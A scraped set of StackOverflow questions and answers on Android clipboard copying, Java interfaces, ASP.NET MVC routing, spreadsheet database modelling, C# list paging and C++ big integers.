"author": "live-love", "author_id": 436341, "author_profile": "https://Stackoverflow.com/users/436341", "pm_score": 3, "selected": false, "text": "<p>Here is some code to implement some copy and paste functions from EditText (thanks to Warpzit for version check). You can hook these to your button's onclick event.</p>\n\n<pre><code>public void copy(View v) { \n int startSelection = txtNotes.getSelectionStart();\n int endSelection = txtNotes.getSelectionEnd(); \n if ((txtNotes.getText() != null) &amp;&amp; (endSelection &gt; startSelection ))\n {\n String selectedText = txtNotes.getText().toString().substring(startSelection, endSelection); \n int sdk = android.os.Build.VERSION.SDK_INT;\n if(sdk &lt; android.os.Build.VERSION_CODES.HONEYCOMB) {\n android.text.ClipboardManager clipboard = (android.text.ClipboardManager) getSystemService(Context.CLIPBOARD_SERVICE);\n clipboard.setText(selectedText);\n } else {\n android.content.ClipboardManager clipboard = (android.content.ClipboardManager) getSystemService(Context.CLIPBOARD_SERVICE); \n android.content.ClipData clip = android.content.ClipData.newPlainText(\"WordKeeper\",selectedText);\n clipboard.setPrimaryClip(clip);\n }\n }\n} \n\npublic void paste(View v) {\n int sdk = android.os.Build.VERSION.SDK_INT;\n if (sdk &lt; android.os.Build.VERSION_CODES.HONEYCOMB) {\n android.text.ClipboardManager clipboard = (android.text.ClipboardManager) getSystemService(Context.CLIPBOARD_SERVICE);\n if (clipboard.getText() != null) {\n txtNotes.getText().insert(txtNotes.getSelectionStart(), clipboard.getText());\n }\n } else {\n android.content.ClipboardManager clipboard = (android.content.ClipboardManager) getSystemService(Context.CLIPBOARD_SERVICE);\n android.content.ClipData.Item item = clipboard.getPrimaryClip().getItemAt(0);\n if (item.getText() != null) {\n txtNotes.getText().insert(txtNotes.getSelectionStart(), item.getText());\n }\n }\n}\n</code></pre>\n" }, { "answer_id": 38788513, "author": "King of Masses", "author_id": 3983054, "author_profile": "https://Stackoverflow.com/users/3983054", "pm_score": 3, "selected": false, "text": "<p>To enable the standard copy/paste for TextView, U can choose one of the following:</p>\n\n<p>Change in layout file: add below property to your TextView</p>\n\n<pre><code>android:textIsSelectable=\"true\"\n</code></pre>\n\n<p>In your Java class write this line two set the grammatically. </p>\n\n<p><code>myTextView.setTextIsSelectable(true);</code></p>\n\n<p>And long press on the TextView you can see copy/paste action bar.</p>\n" }, { "answer_id": 40837286, "author": "Suragch", "author_id": 3681880, "author_profile": "https://Stackoverflow.com/users/3681880", "pm_score": 4, "selected": false, "text": "<h1>Android support library update</h1>\n\n<p>As of Android Oreo, the support library only goes down to API 14. Most newer apps probably also have a min API of 14, and thus don't need to worry about the issues with API 11 mentioned in some of the other answers. A lot of the code can be cleaned up. (But see my edit history if you are still supporting lower versions.)</p>\n\n<h1>Copy</h1>\n\n<pre><code>ClipboardManager clipboard = (ClipboardManager) getSystemService(Context.CLIPBOARD_SERVICE);\nClipData clip = ClipData.newPlainText(\"label\", selectedText);\nif (clipboard == null || clip == null) return;\nclipboard.setPrimaryClip(clip);\n</code></pre>\n\n<h1>Paste</h1>\n\n<p>I'm adding this code as a bonus, because copy/paste is usually done in pairs.</p>\n\n<pre><code>ClipboardManager clipboard = (ClipboardManager) getSystemService(Context.CLIPBOARD_SERVICE);\ntry {\n CharSequence text = clipboard.getPrimaryClip().getItemAt(0).getText();\n} catch (Exception e) {\n return;\n}\n</code></pre>\n\n<h1>Notes</h1>\n\n<ul>\n<li>Be sure to import the <code>android.content.ClipboardManager</code> version rather than the old <code>android.text.ClipboardManager</code>. Same for <code>ClipData</code>.</li>\n<li>If you aren't in an activity you can get the service with <code>context.getSystemService()</code>.</li>\n<li>I used a try/catch block for getting the paste text because multiple things can be <code>null</code>. You can check each one if you find that way more readable. </li>\n</ul>\n" }, { "answer_id": 43482476, "author": "Agna JirKon Rx", "author_id": 3183912, "author_profile": "https://Stackoverflow.com/users/3183912", "pm_score": 2, "selected": false, "text": "<p>@FlySwat already gave the correct answer, I am just sharing the complete answer:</p>\n\n<p>Use ClipboardManager.setPrimaryClip (<a href=\"http://developer.android.com/reference/android/content/ClipboardManager.html\" rel=\"nofollow noreferrer\">http://developer.android.com/reference/android/content/ClipboardManager.html</a>) method:</p>\n\n<pre><code>ClipboardManager clipboard = (ClipboardManager) getSystemService(CLIPBOARD_SERVICE); \nClipData clip = ClipData.newPlainText(\"label\", \"Text to copy\");\nclipboard.setPrimaryClip(clip); \n</code></pre>\n\n<p>Where <code>label</code> is a User-visible label for the clip data and\n<code>text</code> is the actual text in the clip. According to <a href=\"https://developer.android.com/reference/android/content/ClipData.html#newPlainText(java.lang.CharSequence,%20java.lang.CharSequence)\" rel=\"nofollow noreferrer\">official docs</a>.</p>\n\n<p>It is important to use this import: </p>\n\n<pre><code>import android.content.ClipboardManager;\n</code></pre>\n" }, { "answer_id": 53737565, "author": "Mor2", "author_id": 7523373, "author_profile": "https://Stackoverflow.com/users/7523373", "pm_score": 3, "selected": false, "text": "<pre><code>ClipboardManager clipboard = (ClipboardManager) getSystemService(CLIPBOARD_SERVICE); \nClipData clip = ClipData.newPlainText(\"label\", \"Text to copy\");\nif (clipboard == null || clip == null)\n return;\nclipboard.setPrimaryClip(clip);\n</code></pre>\n\n<p><strong>And import</strong> <code>import android.content.ClipboardManager;</code></p>\n" }, { "answer_id": 60389093, "author": "Mehul Boghra", "author_id": 8968815, "author_profile": "https://Stackoverflow.com/users/8968815", "pm_score": 1, "selected": false, "text": "<p>Here is my working code </p>\n\n<pre><code>/**\n * Method to code text in clip board\n *\n * @param context context\n * @param text text what wan to copy in clipboard\n * @param label label what want to copied\n */\npublic static void copyCodeInClipBoard(Context context, String text, String label) {\n if (context != null) {\n ClipboardManager clipboard = (ClipboardManager) context.getSystemService(CLIPBOARD_SERVICE);\n ClipData clip = ClipData.newPlainText(label, text);\n if (clipboard == null || clip == null)\n return;\n clipboard.setPrimaryClip(clip);\n\n }\n}\n</code></pre>\n" }, { "answer_id": 60720292, "author": "Vijayakumar G", "author_id": 13075633, "author_profile": "https://Stackoverflow.com/users/13075633", "pm_score": 2, "selected": false, "text": "<p>For Kotlin, we can use the following method. You can paste this method inside an activity or fragment.</p>\n\n<pre><code>fun copyToClipBoard(context: Context, message: String) {\n\n val clipBoard = context.getSystemService(Context.CLIPBOARD_SERVICE) as ClipboardManager\n val clipData = ClipData.newPlainText(\"label\",message)\n clipBoard.setPrimaryClip(clipData)\n\n}\n</code></pre>\n" }, { "answer_id": 62687257, "author": "Junsu Lee", "author_id": 7677114, "author_profile": "https://Stackoverflow.com/users/7677114", "pm_score": 0, "selected": false, "text": "<p>Unless your app is the default input method editor (IME) or is the app that currently has focus, your app cannot access clipboard data on Android 10 or higher.\n<a href=\"https://developer.android.com/about/versions/10/privacy/changes#clipboard-data\" rel=\"nofollow noreferrer\">https://developer.android.com/about/versions/10/privacy/changes#clipboard-data</a></p>\n" }, { "answer_id": 64720511, "author": "Rajeev Shetty", "author_id": 3932147, "author_profile": "https://Stackoverflow.com/users/3932147", "pm_score": 2, "selected": false, "text": "<p>For Kotlin use the below code inside the activity.</p>\n<pre><code>import android.content.ClipboardManager\n\n\n val clipBoard = getSystemService(Context.CLIPBOARD_SERVICE) as ClipboardManager\n val clipData = ClipData.newPlainText(&quot;label&quot;,&quot;Message to be Copied&quot;)\n clipBoard.setPrimaryClip(clipData)\n</code></pre>\n" }, { "answer_id": 71312894, "author": "jafar_aml", "author_id": 6254352, "author_profile": "https://Stackoverflow.com/users/6254352", "pm_score": 0, "selected": false, "text": "<p>I use this(work with fragments)- kotlinish way</p>\n<pre><code> private fun copyTextToClipboard(copyText: String) {\n\n val clipboardManager = requireActivity().\n getSystemService(CLIPBOARD_SERVICE) as \n android.content.ClipboardManager\n\n val clipData = ClipData.newPlainText(&quot;userLabel&quot; ,copyText.trim())\n\n clipboardManager.setPrimaryClip(clipData)\n\n }\n</code></pre>\n" }, { "answer_id": 73034626, "author": "Alex Busuioc", "author_id": 1147447, "author_profile": "https://Stackoverflow.com/users/1147447", "pm_score": 1, "selected": false, "text": "<p>Or create a Kotlin extension</p>\n<pre><code> fun String.copyToClipboard(context: Context) {\n val clipBoard = context.getSystemService(Context.CLIPBOARD_SERVICE) as ClipboardManager\n val clipData = ClipData.newPlainText(&quot;label&quot;,this)\n clipBoard.setPrimaryClip(clipData)\n }\n</code></pre>\n<p>and then call</p>\n<pre><code>&quot;stringToCopy&quot;.copyToClipboard(requireContext())\n</code></pre>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/238284", "https://Stackoverflow.com", "https://Stackoverflow.com/users/9128/" ]
I'm building an Android app and I want to copy the text value of an EditText widget. It's possible for the user to press `Menu+A` then `Menu+C` to copy the value, but how would I do this programmatically?
Use [`ClipboardManager#setPrimaryClip`](https://developer.android.com/reference/android/content/ClipboardManager#setPrimaryClip(android.content.ClipData)) method: ``` import android.content.ClipboardManager; // ... ClipboardManager clipboard = (ClipboardManager) getSystemService(CLIPBOARD_SERVICE); ClipData clip = ClipData.newPlainText("label", "Text to copy"); clipboard.setPrimaryClip(clip); ``` [`ClipboardManager` API reference](http://developer.android.com/reference/android/content/ClipboardManager.html)
238,314
<p>Let's say I have the following ruby code :</p> <pre><code> def use_object(object) puts object.some_method end </code></pre> <p>and , this will work on any object that responds to <strong>some_method</strong>,right?</p> <p>Assuming that the following java interface exists :</p> <pre><code> interface TestInterface { public String some_method(); } </code></pre> <p>Am I right to presume that interfaces are java's way to achieving the same thing ( with the only difference that the parameter's type would be <strong>TestInterface</strong> ) ?</p>
[ { "answer_id": 238318, "author": "Fernando Miguélez", "author_id": 34880, "author_profile": "https://Stackoverflow.com/users/34880", "pm_score": 2, "selected": true, "text": "<p>You are right except that you can not define the body of a function in Java Interfaces, only prototypes. </p>\n\n<p>Interfaces are the only way to implemente a pseudo multi-derivation in Java, since normal class derivation is only simple (just one parent).</p>\n" }, { "answer_id": 238319, "author": "Richard Walton", "author_id": 15075, "author_profile": "https://Stackoverflow.com/users/15075", "pm_score": 0, "selected": false, "text": "<p>Java interfaces define method signatures which an implementing class must provide. The JavaDoc explains all this in great detail.</p>\n" }, { "answer_id": 238323, "author": "Frank Grimm", "author_id": 903, "author_profile": "https://Stackoverflow.com/users/903", "pm_score": 0, "selected": false, "text": "<p>In Java interfaces can only be used to <em>declare</em> methods, not the define (implement) them. Only classes can implement methods. But classes can implement interfaces. So you could for instance use the Adapter pattern to realize the same thing you did in ruby.</p>\n" }, { "answer_id": 238327, "author": "Fabian Buch", "author_id": 28968, "author_profile": "https://Stackoverflow.com/users/28968", "pm_score": 1, "selected": false, "text": "<p>No, interfaces in are not implemented. You can have multiple implementations of it though.</p>\n\n<p>An interface would look more like:</p>\n\n<pre><code>interface TestInterface {\n public String some_method();\n}\n</code></pre>\n\n<p>And it could be implemented in a class:</p>\n\n<pre><code>public class TestClass implements TestInterface {\n public String some_method() {\n return \"test\";\n }\n}\n</code></pre>\n\n<p>And maybe more classes that implement this method differently. All classes that implement an interface have to implement the methods as declared by an interface.</p>\n\n<p>With interfaces you can't achive exactly the same as in your Ruby example since Java is static typed.</p>\n" }, { "answer_id": 238329, "author": "ngn", "author_id": 23109, "author_profile": "https://Stackoverflow.com/users/23109", "pm_score": 0, "selected": false, "text": "<p>Yes, but only if you want to abstract out \"anything having a some_method()\" as a separate concept. If you only have one class that has some_method(), you need not specify an interface, and the parameter of use_object() will be that class.</p>\n\n<p>Note also, that in Java we use camelCase instead of underscore_separated names.</p>\n" }, { "answer_id": 239037, "author": "None", "author_id": 25012, "author_profile": "https://Stackoverflow.com/users/25012", "pm_score": -1, "selected": false, "text": "<p>It look like you are trying to program in Ruby using Java, you want want to rethink your approach to use more the idioms of the language.</p>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/238314", "https://Stackoverflow.com", "https://Stackoverflow.com/users/31610/" ]
Let's say I have the following ruby code : ``` def use_object(object) puts object.some_method end ``` and , this will work on any object that responds to **some\_method**,right? Assuming that the following java interface exists : ``` interface TestInterface { public String some_method(); } ``` Am I right to presume that interfaces are java's way to achieving the same thing ( with the only difference that the parameter's type would be **TestInterface** ) ?
You are right except that you can not define the body of a function in Java Interfaces, only prototypes. Interfaces are the only way to implemente a pseudo multi-derivation in Java, since normal class derivation is only simple (just one parent).
238,317
<p>I have a route</p> <pre><code>// Sample URL: /Fixtures/Team/id routes.MapRoute( "Fixtures-by-TeamID", "Fixtures/Team/{teamId}", new { controller = "Fixtures", action = "GetByTeamID", }, new { teamId = @"\d{1,3}" } ); </code></pre> <p>and I am trying to use ActionLink in ASP.net MVC p5. </p> <pre><code>&lt;%= Html.ActionLink(g.HomeTeam.TeamName, "Team", new { teamId = g.HomeTeam.TeamID })%&gt; </code></pre> <p>However it is not working and giving me </p> <pre><code>&lt;a href="/Fixtures/Team?teamId=118"&gt;Team A&lt;/a&gt; </code></pre> <p>If I use Url.RouteUrl i get the correct link.</p> <pre><code>&lt;a href="&lt;%=Url.RouteUrl("Fixtures-by-TeamID", new { teamId = g.HomeTeam.TeamID })%&gt;"&gt;&lt;%=g.HomeTeam.TeamName%&gt;&lt;/a&gt; &lt;a href="/Fixtures/Team/118"&gt;Team A&lt;/a&gt; </code></pre> <p>Any help would be great? Will this change in ASP.net MVC beta?</p> <p>Thanks</p> <p>Donald</p>
[ { "answer_id": 238339, "author": "Brad Wilson", "author_id": 1554, "author_profile": "https://Stackoverflow.com/users/1554", "pm_score": 1, "selected": false, "text": "<p>In my experience, the only time action routes really work properly is when you only have the single default route. As soon as you start adding custom routes like yours above, action routes become... I guess \"finicky\" is the right word. The matching system doesn't work exactly how you'd expect it to.</p>\n\n<p>In this case, you said the action was \"Team\", but this route doesn't match an action of \"Team\", it only matches \"GetTeamByID\". So the routing system keeps going and ends up giving you a route based on the default route. The teamId isn't explicitly part of your default route, so it ends up as a query parameter tacked on the end.</p>\n\n<p>MVC Beta has already shipped, and this behavior is unchanged.</p>\n\n<p>Also, don't you find the named route to be clearer anyway? Personally, I do.</p>\n\n<p>I even go one step further and actually create route helpers for all my custom routes, which might look like this in your current example:</p>\n\n<pre><code>&lt;a href=\"&lt;%= Url.FixturesByTeam(g.HomeTeam.TeamID) %&gt;\"&gt;&lt;%= g.HomeTeam.TeamName %&gt;&lt;/a&gt;\n</code></pre>\n\n<p>Or even:</p>\n\n<pre><code>&lt;%= Html.LinkToFixturesByTeam(g.HomeTeam) %&gt;\n</code></pre>\n\n<p>where you can pull the values for name and ID directly from the model.</p>\n" }, { "answer_id": 238433, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 1, "selected": false, "text": "<p>Try this:</p>\n\n<pre><code>// Sample URL: /Fixtures/Team/id\nroutes.MapRoute(\n \"Fixtures-by-TeamID\",\n \"Fixtures/Team/{teamId}\",\n new { controller = \"Fixtures\", action = \"Team\", teamId = -1 }\n);\n</code></pre>\n\n<p>your controller should look like:</p>\n\n<pre><code>public class FixturesController : BaseController // or whatever \n{\n /*...*/\n public ActionResult Team(int teamId)\n {\n return View(\"Detail\", Team.GetTeamById(teamId)) // or whatever\n }\n /*...*/\n}\n</code></pre>\n\n<p>And your link would look like </p>\n\n<pre><code>&lt;%= Html.ActionLink(\"Click here for the team details\", \"Team\", \"Fixtures\", new { teamId = ViewModel.Data.Id /*orwhateverlol*/ }) %&gt;\n</code></pre>\n\n<p>(I don't have MVC on this machine so this is all from memory; may have a syntax error or some arguments reversed).</p>\n\n<p>Note your route map's path matches your 1)controller, 2) action 3) argument name. I've found the default action (third argument in MapRoute) works, whereas your overload of that method I've never seen before (may be a holdover from a previous release).</p>\n\n<p>Also observe how your FixturesController matches the path (Fixtures) and the action name matches (Team), and the argument matches as well (teamId). </p>\n\n<p>Lastly, your ActionLink's last argument must match your controller's arguments in name (teamId) and type.</p>\n\n<p>Its a bit too \"magical\" at this point (there's LOTS of string comparisons going on in the background!). Hopefully this will improve over time. The old Expression style was MUCH MUCH better. You essentially called the method you wished to run, with the values you wished to pass it. I hope they bring that expression style back into the framework. Haack?</p>\n" }, { "answer_id": 238577, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 0, "selected": false, "text": "<p>When a parameter (\"action\" in this case) is defined only in defaults and not in the route url, it has to be an exact match (unless you force it to go against a particular route as in the RouteUrl case).</p>\n\n<p>To make everything work as is right now, you could add another route to the list just below the above route: </p>\n\n<p>routes.MapRoute(\n \"Fixtures-by-TeamID1\", \n \"Fixtures/Team/{teamId}\", \n new { controller = \"Fixtures\", action = \"Team\", }, \n new { teamId = @\"\\d{1,3}\" }\n );</p>\n\n<p>OR you could add the action parameter to the route url,</p>\n\n<p>OR you could use the named route as you did.</p>\n" }, { "answer_id": 241114, "author": "Rob", "author_id": 2595, "author_profile": "https://Stackoverflow.com/users/2595", "pm_score": 1, "selected": false, "text": "<p>Have you tried this yet?</p>\n\n<pre><code>Html.ActionLink&lt;FixturesController&gt;(c =&gt; c.GetByTeamID(g.HomeTeam.TeamID), \"Team\")\n</code></pre>\n\n<p>Also</p>\n\n<p>You might want to add action = \"GetByTeamID\" to your constraints.</p>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/238317", "https://Stackoverflow.com", "https://Stackoverflow.com/users/17584/" ]
I have a route ``` // Sample URL: /Fixtures/Team/id routes.MapRoute( "Fixtures-by-TeamID", "Fixtures/Team/{teamId}", new { controller = "Fixtures", action = "GetByTeamID", }, new { teamId = @"\d{1,3}" } ); ``` and I am trying to use ActionLink in ASP.net MVC p5. ``` <%= Html.ActionLink(g.HomeTeam.TeamName, "Team", new { teamId = g.HomeTeam.TeamID })%> ``` However it is not working and giving me ``` <a href="/Fixtures/Team?teamId=118">Team A</a> ``` If I use Url.RouteUrl i get the correct link. ``` <a href="<%=Url.RouteUrl("Fixtures-by-TeamID", new { teamId = g.HomeTeam.TeamID })%>"><%=g.HomeTeam.TeamName%></a> <a href="/Fixtures/Team/118">Team A</a> ``` Any help would be great? Will this change in ASP.net MVC beta? Thanks Donald
In my experience, the only time action routes really work properly is when you only have the single default route. As soon as you start adding custom routes like yours above, action routes become... I guess "finicky" is the right word. The matching system doesn't work exactly how you'd expect it to. In this case, you said the action was "Team", but this route doesn't match an action of "Team", it only matches "GetTeamByID". So the routing system keeps going and ends up giving you a route based on the default route. The teamId isn't explicitly part of your default route, so it ends up as a query parameter tacked on the end. MVC Beta has already shipped, and this behavior is unchanged. Also, don't you find the named route to be clearer anyway? Personally, I do. I even go one step further and actually create route helpers for all my custom routes, which might look like this in your current example: ``` <a href="<%= Url.FixturesByTeam(g.HomeTeam.TeamID) %>"><%= g.HomeTeam.TeamName %></a> ``` Or even: ``` <%= Html.LinkToFixturesByTeam(g.HomeTeam) %> ``` where you can pull the values for name and ID directly from the model.
238,328
<p>I am trying to figure out the best way to model a spreadsheet (from the database point of view), taking into account :</p> <ul> <li>The spreadsheet can contain a variable number of rows.</li> <li>The spreadsheet can contain a variable number of columns.</li> <li>Each column can contain one single value, but its type is unknown (integer, date, string).</li> <li>It has to be easy (and performant) to generate a CSV file containing the data.</li> </ul> <p>I am thinking about something like :</p> <pre><code>class Cell(models.Model): column = models.ForeignKey(Column) row_number = models.IntegerField() value = models.CharField(max_length=100) class Column(models.Model): spreadsheet = models.ForeignKey(Spreadsheet) name = models.CharField(max_length=100) type = models.CharField(max_length=100) class Spreadsheet(models.Model): name = models.CharField(max_length=100) creation_date = models.DateField() </code></pre> <p>Can you think about a better way to model a spreadsheet ? My approach allows to store the data as a String. I am worried about it being too slow to generate the CSV file.</p>
[ { "answer_id": 238396, "author": "Turnkey", "author_id": 13144, "author_profile": "https://Stackoverflow.com/users/13144", "pm_score": 3, "selected": true, "text": "<p>You may want to study EAV (Entity-attribute-value) data models, as they are trying to solve a similar problem.</p>\n\n<p><a href=\"http://en.wikipedia.org/wiki/Entity-Attribute-Value_model\" rel=\"nofollow noreferrer\">Entity-Attribute-Value - Wikipedia</a></p>\n" }, { "answer_id": 238397, "author": "Steven A. Lowe", "author_id": 9345, "author_profile": "https://Stackoverflow.com/users/9345", "pm_score": 2, "selected": false, "text": "<p>from a relational viewpoint:</p>\n\n<pre><code>Spreadsheet &lt;--&gt;&gt; Cell : RowId, ColumnId, ValueType, Contents\n</code></pre>\n\n<p>there is no requirement for row and column to be entities, but you can if you like</p>\n" }, { "answer_id": 238398, "author": "Aleris", "author_id": 20417, "author_profile": "https://Stackoverflow.com/users/20417", "pm_score": 1, "selected": false, "text": "<p>The best solution greatly depends of the way the database will be used. Try to find a couple of top use cases you expect and then decide the design. For example if there is no use case to get the value of a certain cell from database (the data is always loaded at row level, or even in group of rows) then is no need to have a 'cell' stored as such.</p>\n" }, { "answer_id": 238400, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 2, "selected": false, "text": "<p>Databases aren't designed for this. But you can try a couple of different ways.</p>\n\n<p>The naiive way to do it is to do a version of One Table To Rule Them All. That is, create a giant generic table, all types being (n)varchars, that has enough columns to cover any forseeable spreadsheet. Then, you'll need a second table to store metadata about the first, such as what Column1's spreadsheet column name is, what type it stores (so you can cast in and out), etc. Then you'll need triggers to run against inserts that check the data coming in and the metadata to make sure the data isn't corrupt, etc etc etc. As you can see, this way is a complete and utter cluster. I'd run screaming from it.</p>\n\n<p>The second option is to store your data as XML. Most modern databases have XML data types and some support for xpath within queries. You can also use XSDs to provide some kind of data validation, and xslts to transform that data into CSVs. I'm currently doing something similar with configuration files, and its working out okay so far. No word on performance issues yet, but I'm trusting Knuth on that one.</p>\n\n<p>The first option is probably much easier to search and faster to retrieve data from, but the second is probably more stable and definitely easier to program against. </p>\n\n<p>It's times like this I wish Celko had a SO account. </p>\n" }, { "answer_id": 55485793, "author": "Amy Z.", "author_id": 11274069, "author_profile": "https://Stackoverflow.com/users/11274069", "pm_score": 0, "selected": false, "text": "<p>That is a good question that calls for many answers, depending how you approach it, I'd love to share an opinion with you.\nThis topic is one the various we searched about at Zenkit, we even wrote an article about, we'd love your opinion on it: <a href=\"https://zenkit.com/en/blog/spreadsheets-vs-databases/\" rel=\"nofollow noreferrer\">https://zenkit.com/en/blog/spreadsheets-vs-databases/</a></p>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/238328", "https://Stackoverflow.com", "https://Stackoverflow.com/users/12388/" ]
I am trying to figure out the best way to model a spreadsheet (from the database point of view), taking into account : * The spreadsheet can contain a variable number of rows. * The spreadsheet can contain a variable number of columns. * Each column can contain one single value, but its type is unknown (integer, date, string). * It has to be easy (and performant) to generate a CSV file containing the data. I am thinking about something like : ``` class Cell(models.Model): column = models.ForeignKey(Column) row_number = models.IntegerField() value = models.CharField(max_length=100) class Column(models.Model): spreadsheet = models.ForeignKey(Spreadsheet) name = models.CharField(max_length=100) type = models.CharField(max_length=100) class Spreadsheet(models.Model): name = models.CharField(max_length=100) creation_date = models.DateField() ``` Can you think about a better way to model a spreadsheet ? My approach allows to store the data as a String. I am worried about it being too slow to generate the CSV file.
You may want to study EAV (Entity-attribute-value) data models, as they are trying to solve a similar problem. [Entity-Attribute-Value - Wikipedia](http://en.wikipedia.org/wiki/Entity-Attribute-Value_model)
238,340
<p>I have a C# collection of strings. Each string is a sentence that can appear on a page. I also have a collection of page breaks which is a collection of int's. representing the index where the collection of strings are split to a new page.</p> <p>Example: Each 10 items in the string collection is a page so the collection of page breaks would be a collection of int's with the values of 10, 20, 30. ...</p> <p>So if there are 2 pages of strings then there will be 1 item in the page break collection and if there is 1 page then the page break collection would have zero items.</p> <p>I am trying to create the following function:</p> <pre><code>List&lt;string&gt; GetPage(List&lt;string&gt; docList, List&lt;int&gt; pageBreakList, int pageNum) { // This function returns a subset of docList - just the page requested } </code></pre> <p>I've taken a few stabs at writing this function and keep on coming up with complex if and switch statements to take into account single and two page documents and page numbers being requested outside the range (e.g. last page should be returned if page number is greater than number of pages and first page if page number is 0 or less).</p> <p>My struggle with this problem leads me to ask the question: Is there a well known pattern or algorithm to address this type of subset query?</p>
[ { "answer_id": 238369, "author": "tvanfosson", "author_id": 12950, "author_profile": "https://Stackoverflow.com/users/12950", "pm_score": 2, "selected": false, "text": "<p>Not sure what the list of page breaks is for. I would think of it this way. A collection of strings, a page number, and the size of the page. Then you could do something like:</p>\n\n<pre><code>List&lt;string&gt; strings = ...\nint pageNum = ...\nint pageSze = ...\n\nif (pageNum &lt; 1) pageNum = 1;\nif (pageSize &lt; 1) pageSize = 1;\n\nList&lt;string&gt; pageOfStrings = strings.Skip( pageSize*(pageNum-1) ).Take( pageSize ).ToList();\n</code></pre>\n\n<p>In the case where the number of pages vary per page as per your comment, try something like below. You may need to adjust the edge condition checking...</p>\n\n<pre><code>List&lt;string&gt; strings = ...\nList&lt;int&gt; sizes = ...\n\nint pageNum = ...\nint itemsToSkip = 0;\nint itemsToTake = 1;\n\nif (pageNum &gt; 1)\n{\n sizes.Take( pageNum - 2).Sum();\n\n if (pageNum &lt;= sizes.Count)\n {\n itemsToTake = sizes[pageNum-1]\n }\n{\n\nList&lt;string&gt; pageOfStrings = strings.Skip( itemsToSkip ).Take( itemsToTake );\n</code></pre>\n" }, { "answer_id": 238463, "author": "Amy B", "author_id": 8155, "author_profile": "https://Stackoverflow.com/users/8155", "pm_score": 3, "selected": true, "text": "<p>\"Pure\" Linq isn't a good fit for this problem. The best fit is to rely on the methods and properties of List(T). There aren't -that- many special cases.</p>\n\n<pre><code>//pageNum is zero-based.\nList&lt;string&gt; GetPage(List&lt;string&gt; docList, List&lt;int&gt; pageBreaks, int pageNum)\n{\n\n // 0 page case\n if (pageBreaks.Count != 0)\n {\n return docList;\n }\n\n int lastPage = pageBreaks.Count;\n\n //requestedPage is after the lastPage case\n if (requestedPage &gt; lastPage)\n {\n requestedPage = lastPage;\n }\n\n\n int firstLine = requestedPage == 0 ? 0 :\n pageBreaks[requestedPage-1];\n int lastLine = requestedPage == lastPage ? docList.Count :\n pageBreaks[requestedPage];\n\n //lastLine is excluded. 6 - 3 = 3 - 3, 4, 5\n\n int howManyLines = lastLine - firstLine;\n\n return docList.GetRange(firstLine, howManyLines);\n}\n</code></pre>\n\n<p>You don't want to replace the .Count property with linq's .Count() method.\nYou don't want to replace the .GetRange() method with linq's .Skip(n).Take(m) methods.</p>\n\n<p>Linq would be a better fit if you wanted to project these collections into other collections:</p>\n\n<pre><code>IEnumerable&lt;Page&gt; pages =\n Enumerable.Repeat(0, 1)\n .Concat(pageBreaks)\n .Select\n (\n (p, i) =&gt; new Page()\n {\n PageNumber = i,\n Lines = \n docList.GetRange(p, ((i != pageBreaks.Count) ? pageBreaks[i] : docList.Count) - p)\n }\n );\n</code></pre>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/238340", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1463/" ]
I have a C# collection of strings. Each string is a sentence that can appear on a page. I also have a collection of page breaks which is a collection of int's. representing the index where the collection of strings are split to a new page. Example: Each 10 items in the string collection is a page so the collection of page breaks would be a collection of int's with the values of 10, 20, 30. ... So if there are 2 pages of strings then there will be 1 item in the page break collection and if there is 1 page then the page break collection would have zero items. I am trying to create the following function: ``` List<string> GetPage(List<string> docList, List<int> pageBreakList, int pageNum) { // This function returns a subset of docList - just the page requested } ``` I've taken a few stabs at writing this function and keep on coming up with complex if and switch statements to take into account single and two page documents and page numbers being requested outside the range (e.g. last page should be returned if page number is greater than number of pages and first page if page number is 0 or less). My struggle with this problem leads me to ask the question: Is there a well known pattern or algorithm to address this type of subset query?
"Pure" Linq isn't a good fit for this problem. The best fit is to rely on the methods and properties of List(T). There aren't -that- many special cases. ``` //pageNum is zero-based. List<string> GetPage(List<string> docList, List<int> pageBreaks, int pageNum) { // 0 page case if (pageBreaks.Count != 0) { return docList; } int lastPage = pageBreaks.Count; //requestedPage is after the lastPage case if (requestedPage > lastPage) { requestedPage = lastPage; } int firstLine = requestedPage == 0 ? 0 : pageBreaks[requestedPage-1]; int lastLine = requestedPage == lastPage ? docList.Count : pageBreaks[requestedPage]; //lastLine is excluded. 6 - 3 = 3 - 3, 4, 5 int howManyLines = lastLine - firstLine; return docList.GetRange(firstLine, howManyLines); } ``` You don't want to replace the .Count property with linq's .Count() method. You don't want to replace the .GetRange() method with linq's .Skip(n).Take(m) methods. Linq would be a better fit if you wanted to project these collections into other collections: ``` IEnumerable<Page> pages = Enumerable.Repeat(0, 1) .Concat(pageBreaks) .Select ( (p, i) => new Page() { PageNumber = i, Lines = docList.GetRange(p, ((i != pageBreaks.Count) ? pageBreaks[i] : docList.Count) - p) } ); ```
238,343
<p>I am trying to place a big number in a C++ variable. The number is 600851475143</p> <p>I tried unsigned long long int but got an error saying it the constant was too big. I then tried a bigInt library called BigInt -> <a href="http://mattmccutchen.net/bigint/" rel="nofollow noreferrer">http://mattmccutchen.net/bigint/</a></p> <p>The problem is I can't compile the code as I get many errors regarding the lib.</p> <p>undefined reference to `BigInteger::BigInteger(int)' &lt;-- lot's of these.</p> <p>Here is my code so far:</p> <pre><code>#include "string" #include "iostream" #include "bigint/NumberlikeArray.hh" #include "bigint/BigUnsigned.hh" #include "bigint/BigInteger.hh" #include "bigint/BigIntegerAlgorithms.hh" #include "bigint/BigUnsignedInABase.hh" #include "bigint/BigIntegerUtils.hh" using namespace std; int main() { //unsigned long int num = 13195; //unsigned long long int num = 600851475143; BigInteger num = 13195; int divider = 2; //num = 600851475143; while (1) { if ((num % divider) == 0) { cout &lt;&lt; divider &lt;&lt; '\n'; num /= divider; } else divider++; if (num == 1) break; } } </code></pre> <p>If I put a smaller number and don't use the BigInt lib this program runs fine. Any help will be appreciated :D</p>
